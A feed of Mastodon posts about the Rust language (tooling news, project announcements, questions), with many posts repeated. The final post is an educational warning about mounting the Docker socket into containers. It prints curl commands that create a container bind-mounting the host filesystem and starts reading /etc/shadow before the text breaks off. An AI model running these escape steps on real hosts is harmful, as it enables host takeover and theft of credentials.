#Rust

First time trying Axum and it’s a sweet web framework https://github.com/tokio-rs/axum

#Rust #WebDev #IndieDev

First time trying Axum and it’s a sweet web framework https://github.com/tokio-rs/axum

#Rust #WebDev #IndieDev

VectorWare – from creators of `rust-GPU` and `rust-CUDA`

Link: https://www.vectorware.com/blog/announcing-vectorware/
Discussion: https://news.ycombinator.com/item?id=45683153

#rust #cuda

"What we learned with Clippy's feature freeze"

> we had 18 pull requests open in that period that added lints. With 326 pull requests open by both new and old contributors, we want to highlight all the new people that started contributing to Clippy, 47 new contributors who opened a total of 195 pull requests.

https://blog.rust-lang.org/inside-rust/2025/10/22/clippys-feature-warming-up/

#rust #foss #floss #programing

"What we learned with Clippy's feature freeze"

> we had 18 pull requests open in that period that added lints. With 326 pull requests open by both new and old contributors, we want to highlight all the new people that started contributing to Clippy, 47 new contributors who opened a total of 195 pull requests.

https://blog.rust-lang.org/inside-rust/2025/10/22/clippys-feature-warming-up/

#rust #foss #floss #programing

you benchmark your node/ruby/python software on your fancy new m4 mbp and celebrate 500ms response times.

I benchmark my rust software on a $30 potato computer that may as well have 256mb of RAM and celebrate 800ms response times.

we are not the same.

#Rust #RustLang #Python #NodeJS #Node #Ruby

After next docs.rs server update, you will be able to use additional-targets in your Cargo.toml docs.rs metadata. That will allow you to not have to re-declare the whole default list target but instead to just add more platforms as you see fit.

Should simplify things for a lot of us. :)

PR: https://github.com/rust-lang/docs.rs/pull/2950

#rust #rustlang

After next docs.rs server update, you will be able to use additional-targets in your Cargo.toml docs.rs metadata. That will allow you to not have to re-declare the whole default list target but instead to just add more platforms as you see fit.

Should simplify things for a lot of us. :)

PR: https://github.com/rust-lang/docs.rs/pull/2950

#rust #rustlang

Let's write a #macro in #Rust - Part 1

https://hackeryarn.com/post/rust-macros-1/

Let's write a #macro in #Rust - Part 1

https://hackeryarn.com/post/rust-macros-1/

Did you know that the #rust #rustlang project will soon break everyones workflows?

#git #github

"How we organized the Rust Clippy feature freeze"

A casual insight on how the Clippy feature freeze took place. I'll be doing a more formal summary in the Rust blog, but some insight in "how" rather than "what" might be interesting.

https://blog.goose.love/posts/organizing-a-feature-freeze

#rust #blog #foss #programming #floss

Well, I knew it was a dirty hack anyways but still.... rude!

Guess I'll have to model my data properly

#RustLang #Rust

I am having A Time.

#RustLang #Rust #shitpost

"How we organized the Rust Clippy feature freeze"

A casual insight on how the Clippy feature freeze took place. I'll be doing a more formal summary in the Rust blog, but some insight in "how" rather than "what" might be interesting.

https://blog.goose.love/posts/organizing-a-feature-freeze

#rust #blog #foss #programming #floss

The Rust GCC backend is now tested as part of the Rust merge CI process. \o/

We should now hopefully spend a lot less time on syncs and focus on increase the support for the GCC backend.

PR: https://github.com/rust-lang/rust/pull/146414

#rust #rustlang

porting stuff from C# to #Rust I'm doing exactly this.

I was spending a lot time organising and rearranging. creating abstraction layers for myself for hypothetical code reuse that would never happen.

good post about it by @nikitonsky:

https://tonsky.me/blog/concrete-vs-abstract/

> Why don't the folks making #rust talk about what it is bad at?

90% of managing #rustlang is properly communicating, discussing and addressing the ways in which Rust sucks.
The all-hands in NL earlier this year was wall to wall meetings about how much things suck and what to do about them!
I mean this in the best possible way. ^_^

Miro is an open-source cross-platform PDF reader designed to address the author's issues with Adobe Acrobat and other PDF readers. Miro is implemented in Rust using the iced toolkit.

Blog post: https://www.vincentuden.xyz/blog/pdf-reader
Repo: https://github.com/vincent-uden/miro

#Rust #PDF

Miro is an open-source cross-platform PDF reader designed to address the author's issues with Adobe Acrobat and other PDF readers. Miro is implemented in Rust using the iced toolkit.

Blog post: https://www.vincentuden.xyz/blog/pdf-reader
Repo: https://github.com/vincent-uden/miro

#Rust #PDF

Pyrefly: Python type checker and language server in Rust

Link: https://pyrefly.org/?featured_on=talkpython
Discussion: https://news.ycombinator.com/item?id=45579275

#rust #python

Pyrefly: Python type checker and language server in Rust

Link: https://pyrefly.org/?featured_on=talkpython
Discussion: https://news.ycombinator.com/item?id=45579275

#rust #python

The Rust GCC backend is now tested as part of the Rust merge CI process. \o/

We should now hopefully spend a lot less time on syncs and focus on increase the support for the GCC backend.

PR: https://github.com/rust-lang/rust/pull/146414

#rust #rustlang

How to write a simple kernel module for FreeBSD in Rust - Article and sample code by NCC Group #Rust #FreeBSD https://www.nccgroup.com/research-blog/writing-freebsd-kernel-modules-in-rust/

How to write a simple kernel module for FreeBSD in Rust - Article and sample code by NCC Group #Rust #FreeBSD https://www.nccgroup.com/research-blog/writing-freebsd-kernel-modules-in-rust/

New Rust GCC backend progress report:

https://blog.antoyo.xyz/rustc_codegen_gcc-progress-report-38

#rust #rustlang

New Rust GCC backend progress report:

https://blog.antoyo.xyz/rustc_codegen_gcc-progress-report-38

#rust #rustlang

Initial custom themes support has landed in @conjured.ink's stall software and it's very fast, and very easy to write custom themes for (assuming you know a little bit of HTML/CSS!)

Highlights:

• VERY fast jinja-style templates w/ layouts & partials
• KDL-based metadata ;)
• No framework needed!
• Easy packaging

Our shops are more than just ecommerce: they're going to be able to do newsletters/blogging, POSSE, and general custom websites, all with an EXTREMELY small footprint that will be cheap or free!

Like this whole thing? Please support us if can comfortably do so: https://mastodon.social/@conjured_ink/115347161647458655

#KDL #POSSE #IndieWeb #Rust #RustLang #StopPayPros #BoostsWelcome

Initial custom themes support has landed in @conjured.ink's stall software and it's very fast, and very easy to write custom themes for (assuming you know a little bit of HTML/CSS!)

Highlights:

• VERY fast jinja-style templates w/ layouts & partials
• KDL-based metadata ;)
• No framework needed!
• Easy packaging

Our shops are more than just ecommerce: they're going to be able to do newsletters/blogging, POSSE, and general custom websites, all with an EXTREMELY small footprint that will be cheap or free!

Like this whole thing? Please support us if can comfortably do so: https://mastodon.social/@conjured_ink/115347161647458655

#KDL #POSSE #IndieWeb #Rust #RustLang #StopPayPros #BoostsWelcome

So over at @conjured_ink, we've been seeing some annoying compilation times issue on the webapp we're working on (Axum based), and we're looking at trying to split it into crates and see if that helps with the issue.

The problem is, we're not really sure how to split it: should it be by feature? By function? Should each view+model+controller combo have its own crate? Or should all views go in a single crate, then all models, then all controllers? Or maybe every one of those should get an individual crate to themselves (since we actually have TWO webapps and they're gonna reuse code from one another)?

Do y'all have experience doing this kind of split? Are there any examples or wisdom you can share?

#Rust #RustLang #Axum

So I finally switched from Hyprland to Niri.

And both don't have a feature I really want, which is to globally disable all shortcuts as a toggle.

But since Niri is written in #rustlang, I implemented it myself and opened a PR.

And thanks to #nixos I am already using it while its in the PR pipeline, as I patched it in :D

#rust #rustlang #nixos #nix #niri

So I finally switched from Hyprland to Niri.

And both don't have a feature I really want, which is to globally disable all shortcuts as a toggle.

But since Niri is written in #rustlang, I implemented it myself and opened a PR.

And thanks to #nixos I am already using it while its in the PR pipeline, as I patched it in :D

#rust #rustlang #nixos #nix #niri

Na naszym kanale YouTube pojawił się film z wystąpienia Kamili Drzewieckiej (@MarkAssPandi) “Sztuka tworzenia koła od nowa”, które miało miejsce podczas 19. Sesji Linuksowej.

🎥 Link do filmu: https://youtu.be/EV6pLE8CUrk

Zapraszamy do oglądania prelekcji i subskrybowania kanału.

#SesjaLinuksowa #opensource #foss #rust #programming

Missed a meetup? Or don’t live in Seoul? We’ve got a YouTube channel now! We’ve just uploaded our talks from last week.

https://youtube.com/@rustseoul?si=DhCvejaf2R9QzC4f

#rust #rustlang

Missed a meetup? Or don’t live in Seoul? We’ve got a YouTube channel now! We’ve just uploaded our talks from last week.

https://youtube.com/@rustseoul?si=DhCvejaf2R9QzC4f

#rust #rustlang

I think I hit a case where using anyhow is pathologically slow. Switching to thiserror (static error types) removed the entire bottleneck and and made things ~5x faster.

I've heard that anyhow had some nominal cost, but I always heard it was minimal/not worth fussing over. But it looks like if you call something a few hundred million times, you take a BIG perf hit?

I will try to work up an MRE later, but curious if this is "just me" or if it's a known drawback?

#rust #rustlang

Awesome embedded #Ratatui workshop with Tokyo #Rust, @orhun and Mousefood by @j_g00da !

To be honest I didn’t get the appeal of embedded before tonight. But there is something about playing with that tiny screen that is surprisingly satisfying.

I'm presently working on a pure Rust microkernel OS. I aim to add support for userspace device drivers and namespaces, similar to RedoxOS, and eventually hypervisor functionality like SEL4. open to contributions, just message me for pull requests.
https://git.shibedrill.site/shibedrill/gila
#rust #rustlang #osdev #liminebootloader

Seeking feedback from Bevy and Big Brain users: how does this new API look?

Under the hood, this would be a high-performance, low-overhead API powered by Observers, but this is all you would actually need to write yourself.

I'm pretty sure I can get this to work with Bevy's current featureset, including the Very Fun async actions situation here.

#Bevy #BigBrain #GameAI #Rust #RustLang

The Exofactory demo has been soft launched and is available to download on Steam. So so so much work. Lots of game dev specific stuff in this one. If you play it do let me know if you see any major bugs. Lol. Will hard launch as part of Steam Next fest but you can play it now. #GameDev #rust #bevy https://exofactory.net/blog/2025-10-07/

FYI: As part of a larger move away from GitHub, I've archived Big Brain on it and moved all future development over to Codeberg, at https://codeberg.org/zkat/big-brain

Please use that repo from now on.

Additionally: I am in the process of trying a major rewrite of the crate that I'm hoping will be much simpler, and much more efficient, thanks to features now available in recent version of Bevy! I'm very excited :)

#GiveUpGitHub #GitHub #Bevy #Rust #RustLang #Codeberg

The Exofactory demo has been soft launched and is available to download on Steam. So so so much work. Lots of game dev specific stuff in this one. If you play it do let me know if you see any major bugs. Lol. Will hard launch as part of Steam Next fest but you can play it now. #GameDev #rust #bevy https://exofactory.net/blog/2025-10-07/

New on the blog: const assertions.

https://ianwwagner.com/const-assertions.html

#rust #rustlang

Rust threading question:

I'm trying to start a background process that runs for the lifespan of the object.
I don't want to drop the handle since that'll leak the thread forever (?? Or does it get killed when the entire program runs to completion?).

Option<_> seemed like a nice way to defer the spawn call so I can set the handle after struct instantiation but then I wind up in lifetime hell adding `'static` to everything and somehow not solving it

How would you approach this?

#RustLang #Rust

I'm just gonna keep waiting until the Bevy Editor finally comes out to try and write a game with the engine in earnest. I keep getting ideas but I just don't really wanna deal with writing something as complex and difficult as a game, with my hands tied behind my back any more than I have to.

that said, I'll probably be poking around the ecosystem sometime soon, after reading those updates on the observers in 0.17. They would make big-brain so much nicer to use, and probably simplify the implementation a lot (it would probably be a full rewrite?)

#bevy #bigbrain #gamedev #rust #rustlang

Hello #hackers & #usenet friends, I fixed the rss to usenet bot code https://git.sr.ht/~rek2/rek2_usenet_rss/commit/8625e1209f8aadec7f51b6e7a1bf20082b26b174 so now handles RSS and ATOM and an issue I had with RSS generated from mastodon tags like #hacking #hispagatos #hackers etc, now our newsgroups get the proper information from mastodon alerts and also added exploitdb to our exploits newsgroup hispagatos.hacking.exploits the usenet client is #usenet_reborn TUI #rust client you can find it on my sr.ht or crates.io Happy Hacking!!! #hackerculture

Hello #hackers & #usenet friends, I fixed the rss to usenet bot code https://git.sr.ht/~rek2/rek2_usenet_rss/commit/8625e1209f8aadec7f51b6e7a1bf20082b26b174 so now handles RSS and ATOM and an issue I had with RSS generated from mastodon tags like #hacking #hispagatos #hackers etc, now our newsgroups get the proper information from mastodon alerts and also added exploitdb to our exploits newsgroup hispagatos.hacking.exploits the usenet client is #usenet_reborn TUI #rust client you can find it on my sr.ht or crates.io Happy Hacking!!! #hackerculture

@blainsmith Nice picture of turning most of the programming's _cognitive load_ into actual problem at hand, instead of whether something is valid or legal. Exact reason why there's so many great projects created in #Rust.

#Codeberg Pages ist gerade down. Es gab mit dem Service schon länger Probleme, unter anderem deswegen, weil es zZ nur noch eine Maintainerin gibt. Es gibt aber gute Nachrichten! Ein neuer Server wird gebaut und das komplett in #Rust und #Nix! Wenn also jemensch Zeit hat unsere #digitalsovereignty , durch einen der größeren Konkurentinnen zu GitHub zu unterstützen, dann schaut euch vielleicht mal https://codeberg.org/Codeberg/pages-server-v3 an und helft mit!

@Codeberg

I think life is telling me to learn #rust. After a week of discovering amazing TUI’s written in Rust with https://ratatui.rs, I’ve stumbled on https://github.com/mozilla/uniffi-rs.

There are so many project ideas I can do with these.

Latest @GreenTeaCoding has me curious to try factoring my URL shortener into "clean architecture".

I get that gang of four and design patterns and hexagonal architecture and all that aren't....well all that but perhaps it'd be worthwhile as a learning exercise.

Also huge shout to green tea coding - love their videos

#Rust #RustLang

I have a ticket for EuroRust in Paris that I cannot make it to and cannot refund. Does anyone in Europe want it? Oct 9&10th with extras.

#Rust #RustLang #EuroRust

https://eurorust.eu

@rubycentral
Continuing with #SFRuby meeting for September 2025.

... and here we are with André Arko (Spinel Coop) @indirect who will be taking about rv, a New Kind of Ruby Management Tool

- rv is made with #rust
- is based on portable-ruby, from Homebrew

Note: André was book for this meeting way before the #rubycentral fiasco in the #ruby community

#SFRuby #sfba

I have a ticket for EuroRust in Paris that I cannot make it to and cannot refund. Does anyone in Europe want it? Oct 9&10th with extras.

#Rust #RustLang #EuroRust

https://eurorust.eu

RustNL will host the Rust All Hands again in 2026!

The All Hands will be part of RustWeek 2026, and take place on May 21-23.

@Mara's blog post has the details:
https://blog.rust-lang.org/inside-rust/2025/09/30/all-hands-2026/

#rustweek2026 #rust

RustNL will host the Rust All Hands again in 2026!

The All Hands will be part of RustWeek 2026, and take place on May 21-23.

@Mara's blog post has the details:
https://blog.rust-lang.org/inside-rust/2025/09/30/all-hands-2026/

#rustweek2026 #rust

Currently working on a fairly awaited feature, running Clippy as an add-on with `cargo build` and `cargo test`!

This change will heavily impact how your Clippy workflow works, specially on CI. You'll no longer have to separate your linting from your testing, saving invaluable CI time!

(A more detailed blog post on the Rust [Inside?] blog will probably come soon after the feature is merged)

#rust #programming #foss #rustlang

I'm again running my free Rust training course for FOSS developers. It's split into two sessions of two hours. First session is on Wednesday, October 1 at 13-15 UTC. Second sessions is two days later, on Friday, October 3 at 13-15. See https://liw.fi/training/rust-foss-dev/ for more information.

Boosts welcome. Share widely amongst your friends who might be interested.

#Rust #RustLang #Training #Free

I've been seeing some interesting takes on recent Rust adoption (git adding Rust components, Canonical shipping Rust coreutils in Ubuntu 25.10).

The conspiracy theories are... something else. Apparently it's all coordinated by "Big Rust."

Just for fun, I ended up writing down my thoughts on the most common arguments I keep seeing. Turns out, most of them don't hold up when you take a closer look.

https://endler.dev/2025/choosing-rust/

#rustlang #rust

Currently working on a fairly awaited feature, running Clippy as an add-on with `cargo build` and `cargo test`!

This change will heavily impact how your Clippy workflow works, specially on CI. You'll no longer have to separate your linting from your testing, saving invaluable CI time!

(A more detailed blog post on the Rust [Inside?] blog will probably come soon after the feature is merged)

#rust #programming #foss #rustlang

Verschiedene #OpenSource-Infrastrukturanbieter, darunter die #Eclipse Foundation und die #Rust Foundation, fordern eine Neubewertung der Finanzierung ihrer stark ausgelasteten Basisdienste. Ziel ist ein faireres Finanzmodell, das den wachsenden Kosten und staatlichen Anforderungen gerecht wird. Kommerzielle Unternehmen könnten künftig mehr beitragen müssen.
https://www.heise.de/news/Rust-Python-und-Maven-suchen-neue-Geldquellen-10668963.html?seite=all

I've been seeing some interesting takes on recent Rust adoption (git adding Rust components, Canonical shipping Rust coreutils in Ubuntu 25.10).

The conspiracy theories are... something else. Apparently it's all coordinated by "Big Rust."

Just for fun, I ended up writing down my thoughts on the most common arguments I keep seeing. Turns out, most of them don't hold up when you take a closer look.

https://endler.dev/2025/choosing-rust/

#rustlang #rust

A couple weeks ago there was a post from someone talking about how they used #rust for municipal and governmental org projects. And not because of its safety features, but because you can ship and deploy using a single binary so the hosting complexity is so low.

Anyone know what I'm referring to? I can't find the post.

Check out Whispercap: a desktop app to transcribe audio & video into subtitles using Whisper models.
Built with #Rust + #Slint 🦀🖼️
Includes subtitle translation & editing tools.

🔗 https://github.com/heng30/whispercap

#MadeWithSlint #rustlang

Next Paris rust meetup will be organized in collaboration with @eurorust on the 8th of October.

You can register here: https://www.meetup.com/rust-paris/events/310424476

See you there!

#rust #rustlang

https://spectrum.ieee.org/top-programming-languages-2025

#Ruby is within top 20 in all rankings.

However, #Rust is higher. And I feel Rust’s on the upward trajectory while Ruby’s not so much.

Python is an amazing phenomenon. It’s amazing how Ruby being conceptually very similar and, arguably, better in many regards languages managed to miss on all fronts. It missed the scientific community’s adoption. Python was the language for scientific calculations and statistics for a long time. And now it became the AI language. Ruby stayed the Rails language.

Ready to share a preview of my first app, which I've been working on in my spare time for a while now, a GTK-based Typst editor called Typesetter.

It's designed to be clean, simple, and local-first, with syntax highlighting and live preview.

No Flatpak release yet, but you can clone the repository and give it a whirl in GNOME Builder if you're so inclined.

https://codeberg.org/haydn/typesetter

Still a work in progress. Contributions, bug reports, and ideas are welcome!

#Typst #GTK #GNOME #Rust

Wasm 3 bringt 64-Bit-Adressraum und Garbage Collection

Der W3C-Standard WebAssembly (Wasm) erhält mit Version 3 ein umfangreiches Update mit weitreichenden Änderungen.

https://www.heise.de/news/Wasm-3-bringt-64-Bit-Adressraum-und-Garbage-Collection-10667514.html?wt_mc=sm.red.ho.mastodon.mastodon.md_beitraege.md_beitraege&utm_source=mastodon

#Browser #IT #Java #JavaScript #Rust #WebAssembly #news

Hey, everyone! This Friday will be my last day at 1Password.

I have interviews in progress, and some of them are rather exciting.

But... are there any #rust companies hiring? I have five years of professional Rust experience and seven years of hobbyist experience. I am capable of both Senior engineering roles and Staff engineering roles, though my preference is more for a Senior role.

I'd be super excited to be doing Rust work in something like healthcare, climate change, or as support for a laboratory application.

Wasm 3 bringt 64-Bit-Adressraum und Garbage Collection

Der W3C-Standard WebAssembly (Wasm) erhält mit Version 3 ein umfangreiches Update mit weitreichenden Änderungen.

https://www.heise.de/news/Wasm-3-bringt-64-Bit-Adressraum-und-Garbage-Collection-10667514.html?wt_mc=sm.red.ho.mastodon.mastodon.md_beitraege.md_beitraege&utm_source=mastodon

#Browser #IT #Java #JavaScript #Rust #WebAssembly #news

From the #Git mailing list:

Introduce #Rust and announce that it will become mandatorty

https://lore.kernel.org/git/20250904-b4-pks-rust-breaking-change-v1-0-3af1d25e0be9@pks.im/T/#u

Patrick Steinhardt writes: ""This small patch series introduces Rust into the core of Git. This patch series is designed as a test balloon, similar to how we introduced test balloons for C99 features in the past. The goal is threefold:

- Give us some time to experiment with Rust and introduce proper build infrastructure.

- Give distributors time to ease into the new toolchain requirements. Introducing Rust is impossible for some platforms and hard for others.

- Announce that Git 3.0 will make Rust a mandatory part of our build infrastructure.

[…]""

#Rustlang

Is it possible to bind explicit lifetimes /between/ struct fields? Or only between structs themselves and their fields like a parent-child thing?

I want a master vector of actual resources and a hashmap where the values are references back into the master vector.

Idk I'm probably approaching this wrong

#RustLang #Rust

From the #Git mailing list:

Introduce #Rust and announce that it will become mandatorty

https://lore.kernel.org/git/20250904-b4-pks-rust-breaking-change-v1-0-3af1d25e0be9@pks.im/T/#u

Patrick Steinhardt writes: ""This small patch series introduces Rust into the core of Git. This patch series is designed as a test balloon, similar to how we introduced test balloons for C99 features in the past. The goal is threefold:

- Give us some time to experiment with Rust and introduce proper build infrastructure.

- Give distributors time to ease into the new toolchain requirements. Introducing Rust is impossible for some platforms and hard for others.

- Announce that Git 3.0 will make Rust a mandatory part of our build infrastructure.

[…]""

#Rustlang

Okay I'm stumped. I'm trying to abstract over some calls that return variations of `tonic::Response<>` using an empty extension trait, but the compiler has (understandably) given up and is just giving a fairly generic error message.

"mismatched types: type parameters must be constrained to match other types"

- Empty extension trait - check
- Function signature uses `tonic::Response<NodeGroupTemplateNodeInfoResponse>` - check
- Implemented extension trait for `tonic::Response<super::NodeGroupTemplateNodeInfoResponse>` - check

Is this the right approach even?

I want to `match` on CLI subcommands and make client calls but they all return different variants of `tonic::Response`

Do I just need totally different code arms?

#RustLang #Rust

I'm again running my free Rust training course for FOSS developers. It's split into two sessions of two hours. First session is on Wednesday, October 1 at 13-15 UTC. Second sessions is two days later, on Friday, October 3 at 13-15. See https://liw.fi/training/rust-foss-dev/ for more information.

Boosts welcome. Share widely amongst your friends who might be interested.

#Rust #RustLang #Training #Free

If you are interested in helping out with PipeWire development the Rust based Helvum pipeline viewer is looking for a new maintainer. https://gitlab.freedesktop.org/pipewire/helvum/-/issues/137
#linux #pipewire #opensource #rust

If you are interested in helping out with PipeWire development the Rust based Helvum pipeline viewer is looking for a new maintainer. https://gitlab.freedesktop.org/pipewire/helvum/-/issues/137
#linux #pipewire #opensource #rust

If you write a lot of business logic, don't be clever.

That is especially true for a powerful language like Rust.

I've collected a few notes on how to keep your code simple and boring.

https://corrode.dev/blog/simple/

#rust #rustlang #engineering #simplicity

@glyph Same laptop, same version of cpython (3.13), same requirements.txt file with pip:

real    2m5.404s
user    0m42.650s
sys     0m5.081s

So 125 seconds versus 14 seconds. Pip and uv calculate dependencies differently, though uv tries to be compatible. Pip did 253 packages and uv did 250. But pip works sequentially, one package at a time. One download at a time. Like many #rust programs, uv is "embarrassingly parallel."

#python

One year of zizmor

https://blog.yossarian.net/2025/09/14/one-year-of-zizmor

#devblog #programming #rust #zizmor

One year of zizmor

https://blog.yossarian.net/2025/09/14/one-year-of-zizmor

#devblog #programming #rust #zizmor

#RADIOFORESTRION
Who’s excited to play Python 4 on SnakeStation 6? They said there will never be Python 4, but here it is! Woah look at these graphics! It’s almost like a real snake!

#bevy #ratatui #rust #gamedev #pixelart

#RADIOFORESTRION
Who’s excited to play Python 4 on SnakeStation 6? They said there will never be Python 4, but here it is! Woah look at these graphics! It’s almost like a real snake!

#bevy #ratatui #rust #gamedev #pixelart

Rocket.rs seems to be abandoned (bummer) so I'm looking for a new web backend written in Rust. Poem seems to be active and used on a few production sites. Is that the current fav among web-ish rustaceans? 🤷‍♂️
https://github.com/poem-web/poem
#rust

I started poking #rust #GUI libraries and so far iced seams OK. What other libs people like? I can't use immediate mode libs because the data I am trying to display is behind the lock, otherwise ImGui is great, too. Anyway, if you have suggestions on what to try next, please do tell me. Just in case it matters, the app currently runs only on #FreeBSD (once I am confident the architecture is OK I will port it to Linux) so that OS has to be supported.

I offer free CI capacity for open source Rust projects that have a Radicle repository. The blog post below explains at length.

https://blog.liw.fi/posts/2025/callisto/

#Radicle #Ambient #Rust #RustLang

I offer free CI capacity for open source Rust projects that have a Radicle repository. The blog post below explains at length.

https://blog.liw.fi/posts/2025/callisto/

#Radicle #Ambient #Rust #RustLang

Tuesday, we dropped our report with insights from 16 top-level domain operators.

Yesterday, we launched Cascade — NLnet Labs’ Rust-built successor to OpenDNSSEC, shaped by what keeps TLDs up at night.

Today, we’re kicking off a series of ultrashort videos where @benno and @alexband break down what makes Cascade different.

First up: the #1 request from the community — observability, please.

We heard you.

🎥. https://youtu.be/CgmVjLv-fy4

#DNS #DNSSEC #OpenSource #Rust #rustlang

Tuesday, we dropped our report with insights from 16 top-level domain operators.

Yesterday, we launched Cascade — NLnet Labs’ Rust-built successor to OpenDNSSEC, shaped by what keeps TLDs up at night.

Today, we’re kicking off a series of ultrashort videos where @benno and @alexband break down what makes Cascade different.

First up: the #1 request from the community — observability, please.

We heard you.

🎥. https://youtu.be/CgmVjLv-fy4

#DNS #DNSSEC #OpenSource #Rust #rustlang

This is not helping me in the market but what I love doing the most is computer language engineering. I'm learning how to write an #LSP right now to support my born language in neovim. I also discovered #LLVM recently. It lets you compile to any target from a generic ASM. It made me realize something. The first languages where all compiled. Then, we got the interpreted languages. But recently, the new languages are all compiled again! Think of #rust, #go, #zig, #elixir. I wonder if it's because we perfected the tooling in a way that maintaining a compiled language is not that hard anymore. Go is a weird one. It has a garbage collector. Yeah! A compiled language with a garbage collector. It means that there is a process that is embedded in the executable to just do garbage collection. We might now have a real reason anymore to interpret.

Write your own Rust-based RISC-V hypervisor in 1000 lines of code by Seiya Nuta:
https://1000hv.seiya.me/en/
https://github.com/nuta/hypervisor-in-1000-lines

Seya also published a guide to write a C-based RISC-V OS in 1000 LoC:
https://github.com/nuta/operating-system-in-1000-lines

#riscv #os #operating_systems #hypervisor #rust

Die Suche nach einem #iOS und/oder #macOS #Developer Job scheint momentan echt aussichtslos. Von daher versuch ich es einfach mal im #Backend.

Also, wenn jemand jemanden kennt, der jemanden kennt, der einen Job als Backend-Entwickler zu vergeben hat, ich bin fuer eine Remote-Festanstellung bereit. #Swift kann ich, #GoLang oder #Rust wuerde ich lernen muessen (und wollen!). Aber bitte *kein* Java.

Ihr duerft das gerne Teilen. Danke.

#FediHire #FediJob

#redox #rust #osdev #mobileunix
Ayyyyy lmao, Redox OS on Blackberry KEY2 LE!

Just finished moving a small #Rust CLI tool from GitHub to #codeberg.

* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.

here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows

overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.

#rustlang #codeberg

Just finished moving a small #Rust CLI tool from GitHub to #codeberg.

* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.

here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows

overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.

#rustlang #codeberg

Just finished moving a small #Rust CLI tool from GitHub to #codeberg.

* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.

here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows

overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.

#rustlang #codeberg

Working on an ASCII editor #TUI in #Rust. Figlet support was easy with figlet-rs!

Working on an ASCII editor #TUI in #Rust. Figlet support was easy with figlet-rs!

Adding #[derive(From)] to Rust https://lobste.rs/s/ce22dx #rust
https://kobzol.github.io/rust/2025/09/02/adding-derive-from-to-rust.html

Adding #[derive(From)] to Rust https://lobste.rs/s/ce22dx #rust
https://kobzol.github.io/rust/2025/09/02/adding-derive-from-to-rust.html

@ianthetechie I'm working on a #Rust training for #C++ developers and I realised now even more how "beauty" of Rust outperforms C++ in terms of efficient development effort; I wonder if my material is going to be able to demonstrate that nicely.

I just wrote ~1,000 LOC. I added a few unit and snapshot tests along the way. This replaces ~4x as many LOC of C++, which had ~zero documentation. The new code has docs, and uses the type system to make it (almost) impossible to bring down the service.

It uses a technology that I’ve never written anything for directly (ZMQ), which has a crate that allowed me to collapse a bunch of low-level C function calls into a single .await on the socket.

Integration test worked on the first try 🎉

#rust

RV (something like Python's UV, but for #Ruby) looks pretty cool https://andre.arko.net/2025/08/25/rv-a-new-kind-of-ruby-management-tool/

I liked using UV with Python and I'm guessing the experience with RV would be similar as well. It's a bit said that all such tools have to be rewritten in #Rust (or similar), but nothing's perfect. On the bright side - perhaps that would encourage me to do something meaningful with Rust… (RuboCop in Rust anyone? :D)

New blog post: Emulating aarch64 in software using JIT compilation and Rust

https://pitsidianak.is/blog/posts/2025-08-25_emulating_aarch64_in_software_using_JIT_compilation.html

#aarch64 #arm #rust #emulation #virtualization

I wish there was something that was the opposite of `is_empty()` for many #rust types, because 99% of the time I write `!is_empty()` and so often would be nice to be able to write something like `foo.is_nonempty().then(|| ...)`, whereas `(!foo.is_empty()).then(|| ...)` looks bad to my eyes.

#rustlang

Some more silliness. #RADIOFORESTRION #bevy #ratatui #rust #gamedev

Some more silliness. #RADIOFORESTRION #bevy #ratatui #rust #gamedev

New blog post: Emulating aarch64 in software using JIT compilation and Rust

https://pitsidianak.is/blog/posts/2025-08-25_emulating_aarch64_in_software_using_JIT_compilation.html

#aarch64 #arm #rust #emulation #virtualization

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST "http://localhost/containers/create?name=escape" \
  -d '{
        "Image": "ubuntu:24.04",
        "Cmd": ["sleep","infinity"],
        "HostConfig": { "Binds": ["/:/host:rw"] }
      }'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
